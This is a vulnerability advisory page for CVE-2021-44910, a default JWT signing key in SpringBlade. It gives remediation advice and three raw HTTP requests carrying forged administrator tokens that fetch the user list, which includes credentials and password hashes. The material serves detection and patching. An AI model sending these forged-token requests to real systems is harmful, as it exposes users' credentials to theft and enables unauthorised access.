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CVE-2021-44910: SpringBlade - Information Leakage

Title	SpringBlade - Information Leakage
Author	lbb
Severity	High
Impact	Attackers using default SIGN_KEY can forge JWT tokens to obtain sensitive user information including account credentials, password hashes, and logs from the SpringBlade system.
Remediation	Change the default SIGN_KEY to a strong, unique value in the SpringBlade configuration.
Tags	cve cve2021 springblade blade info-leak vuln

🔍 Vulnerability Description

SpringBlade is a comprehensive project upgraded and optimized from a commercial-grade project, featuring both a SpringCloud distributed microservice architecture and a SpringBoot monolithic microservice architecture. The SpringBlade framework has a default SIGN_KEY, which can be exploited by attackers to obtain sensitive information such as user account password logs.

🌐 HTTP Request

GET /api/blade-user/user-list HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
Blade-Auth: bearer eyJhbGciOiJIUzM4NCIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.gbUWSdFfmzfU_gKzFYjyyJzcrHBfOwswJvptowNwNwfo12QilWudTMg-LbDAOPwk
Accept-Encoding: gzip
Connection: close

GET /api/blade-user/user-list HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Blade-Auth: bearer eyJhbGciOiJIUzM4NCIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.gbUWSdFfmzfU_gKzFYjyyJzcrHBfOwswJvptowNwNwfo12QilWudTMg-LbDAOPwk
Accept-Encoding: gzip
Connection: close

GET /api/blade-user/user-list HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Blade-Auth: bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.kol9scDVwLDE8U3mM_j8O4UYrpdUc9_Zw935g7Nb979DfRuanai1UeKsK2zCKuR77Otryi0sGzBfGANDbLseBg
Accept-Encoding: gzip
Connection: close

📚 References

https://github.com/chillzhuang/blade-tool

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-44910.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-44910.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A